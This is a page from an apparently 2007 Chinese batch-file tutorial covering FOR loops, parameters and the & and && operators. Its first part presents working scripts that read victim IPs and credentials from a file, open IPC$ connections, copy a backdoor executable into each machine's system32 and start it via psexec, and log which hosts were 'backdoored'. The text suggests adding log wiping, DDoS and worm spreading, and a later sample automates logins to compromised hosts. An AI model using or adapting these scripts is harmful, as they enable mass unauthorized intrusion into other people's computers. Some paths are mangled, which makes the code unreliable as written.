批處理文件制作實例精彩教程第3/5頁
更新時間:2007年02月28日 00:00:00 作者:
主要命令也只有一條:(在批處理文件中使用 FOR 命令時,指定變量使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法請參見上面的sample1,在這里它表示按順序將victim.txt中的內(nèi)容傳遞給door.bat中的參數(shù)%i %j %k。
而cultivate.bat無非就是用net use命令來建立IPC$連接,并copy木馬+后門到victim,然后用返回碼(If errorlever =)來篩選成功種植后門的主機,并echo出來,或者echo到指定的文件。
delims= 表示vivtim.txt中的內(nèi)容是一空格來分隔的。我想看到這里你也一定明白這victim.txt里的內(nèi)容是什么樣的了。應該根據(jù)%%i %%j %%k表示的對象來排列,一般就是 ip password username。
代碼雛形:
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
@net use ////%1//ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe////%1//admin$//system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@psexec ////%1 c://winnt//system32//windrv32.exe
@psexec ////%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
這只是一個自動種植后門批處理的雛形,兩個批處理和后門程序(Windrv32.exe),PSexec.exe需放在統(tǒng)一目錄下.批處理內(nèi)容
尚可擴展,例如:加入清除日志+DDOS的功能,加入定時添加用戶的功能,更深入一點可以使之具備自動傳播功能(蠕蟲).此處不多做敘述,有興趣的朋友可自行研究.
二.如何在批處理文件中使用參數(shù)
批處理中可以使用參數(shù),一般從1%到 9%這九個,當有多個參數(shù)時需要用shift來移動,這種情況并不多見,我們就不考慮它了。
sample1:fomat.bat
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
這個例子用于連續(xù)地格式化幾張軟盤,所以用的時候需在dos窗口輸入fomat.bat a,呵呵,好像有點畫蛇添足了~^_^
sample2:
當我們要建立一個IPC$連接地時候總要輸入一大串命令,弄不好就打錯了,所以我們不如把一些固定命令寫入一個批處理,把肉雞地ip password username 當著參數(shù)來賦給這個批處理,這樣就不用每次都打命令了。
@echo off
@net use ////1%//ipc$ "2%" /u:"3%" 注意哦,這里PASSWORD是第二個參數(shù)。
@if errorlevel 1 echo connection failed
怎么樣,使用參數(shù)還是比較簡單的吧?你這么帥一定學會了^_^.No.3
三.如何使用組合命令(Compound Command)
1.&
Usage:第一條命令 & 第二條命令 [& 第三條命令...]
用這種方法可以同時執(zhí)行多條命令,而不管命令是否執(zhí)行成功
Sample:
C://>dir z: & dir c://Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c://Ex4rch
2002-05-14 23:51 <DIR> .
2002-05-14 23:51 <DIR> ..
2002-05-14 23:51 14 sometips.gif
2.&&
Usage:第一條命令 && 第二條命令 [&& 第三條命令...]
用這種方法可以同時執(zhí)行多條命令,當碰到執(zhí)行出錯的命令后將不執(zhí)行后面的命令,如果一直沒有出錯則一直執(zhí)行完所有命令;
Sample:
C://>dir z: && dir c://Ex4rch
The system cannot find the path specified.
C://>dir c://Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c://Ex4rch
2002-05-14 23:55 <DIR> .
2002-05-14 23:55 <DIR> ..
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.
在做備份的時候可能會用到這種命令會比較簡單,如:
dir 文件://192.168.0.1/database/backup.mdb && copy 文件://192.168.0.1/database/backup.mdb E://backup
如果遠程服務器上存在backup.mdb文件,就執(zhí)行copy命令,若不存在該文件則不執(zhí)行copy命令。這種用法可以替換IF exist了 :)
相關文章
批處理統(tǒng)計文件夾內(nèi)的所有文件的數(shù)量和總大小的bat
這篇文章主要介紹了批處理統(tǒng)計文件夾內(nèi)的所有文件的數(shù)量和總大小的bat,需要的朋友可以參考下2016-12-12